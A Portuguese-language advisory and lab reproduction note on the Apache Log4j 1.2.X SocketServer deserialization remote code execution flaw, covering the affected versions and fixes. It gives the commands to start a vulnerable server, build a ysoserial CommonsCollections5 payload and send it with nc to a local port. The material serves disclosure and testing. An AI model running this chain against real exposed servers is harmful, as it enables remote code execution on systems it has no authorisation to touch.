
Apache Log4j 1.2.X possui vulnerabilidade de execução remota de código por desserialização.
Link de referência do alerta de vulnerabilidade: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j é uma ferramenta de registro de logs de código aberto baseada em Java da Apache Software Foundation. Nas versões da série Apache Log4j 1.2.X existe uma vulnerabilidade de execução remota de código por desserialização. Um atacante pode explorar essa vulnerabilidade para executar comandos maliciosos arbitrários. O Log4j 1.2.X inclui uma classe SocketServer que é facilmente suscetível à desserialização de dados não confiáveis; quando combinada com gadgets de desserialização ao ouvir tráfego de rede não confiável de dados de log, essa classe pode ser usada para executar código arbitrário remotamente. A vulnerabilidade afeta inclusive a versão mais recente até o momento.
Alto risco
Escopo afetado 1.2.4 <= Apache Log4j <= 1.2.17 (versão mais recente)
Recomendações de correção
Atualize para a versão mais recente da série Apache Log4j 2
Não exponha à internet a porta socket aberta por essa classe
Já na era do Apache Log4j 2.8.1 existia a vulnerabilidade de execução remota de código por desserialização (CVE-2017-5645); a classe vulnerável acionada na época era org.apache.logging.log4j.core.net.server.TcpSocketServer. Na era do Apache Log4j 1.2.X, a classe vulnerável passou a ser org.apache.log4j.net.SocketServer
Pesquisando online, descobri que a forma de iniciar o socketserver do log4j 1.X é através do comando java, e não através do código Java. (Se houver outras formas de iniciá-lo, por favor me avise.)
Da mesma forma, é necessário baixar os arquivos jar afetados e os arquivos jar que permitem a execução de código, configurá-los nas variáveis de ambiente (a seguir, ambiente Windows), iniciar o serviço e passar 3 parâmetros: a porta, o arquivo de configuração do log4j e o diretório lcf:
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
Obtenção dos arquivos jar relacionados: https://github.com/shadow-horse/Vulenvironment/libs